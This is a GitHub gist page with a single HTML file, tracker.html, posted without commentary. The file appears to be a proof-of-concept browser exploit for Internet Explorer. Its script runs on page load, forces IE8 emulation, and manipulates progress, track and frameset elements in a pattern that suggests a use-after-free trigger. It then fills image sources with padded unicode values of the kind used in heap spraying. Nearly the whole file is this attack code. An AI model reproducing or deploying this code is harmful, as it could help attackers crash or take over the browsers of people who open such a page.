Skip to content

Instantly share code, notes, and snippets.

@kevinobee

kevinobee/tracker.html

Created January 9, 2013 21:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kevinobee/4496954 to your computer and use it in GitHub Desktop.
Save kevinobee/4496954 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
tracker.html
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />
<script>
function testcase() {
var img = new Array();
for (var i = 0; i < 100; i++) {
img[i] = document.createElement('img');
img[i]["src"] = "a";
}
document.body.appendChild(document.createElement('progress'));
document.body.appendChild(document.createElement("<track style='float:right'></track>"));
document.body.appendChild(document.createElement('progress'));
document.body.appendChild(document.createElement('table'));
document.body.appendChild(document.createElement("<track style='float:right'></track>"));
document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));
document.getElementsByTagName('track').item(0).offsetWidth;
document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));
document.body.appendChild(document.createElement("<ins style='margin-left:2222222222px'></ins>"));
window.scroll(500);
for (var j = 0; j < 99; j++) {
img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAA\u5555\u5555AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";
}
}
</script>
</head>
<body onload='testcase();'>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment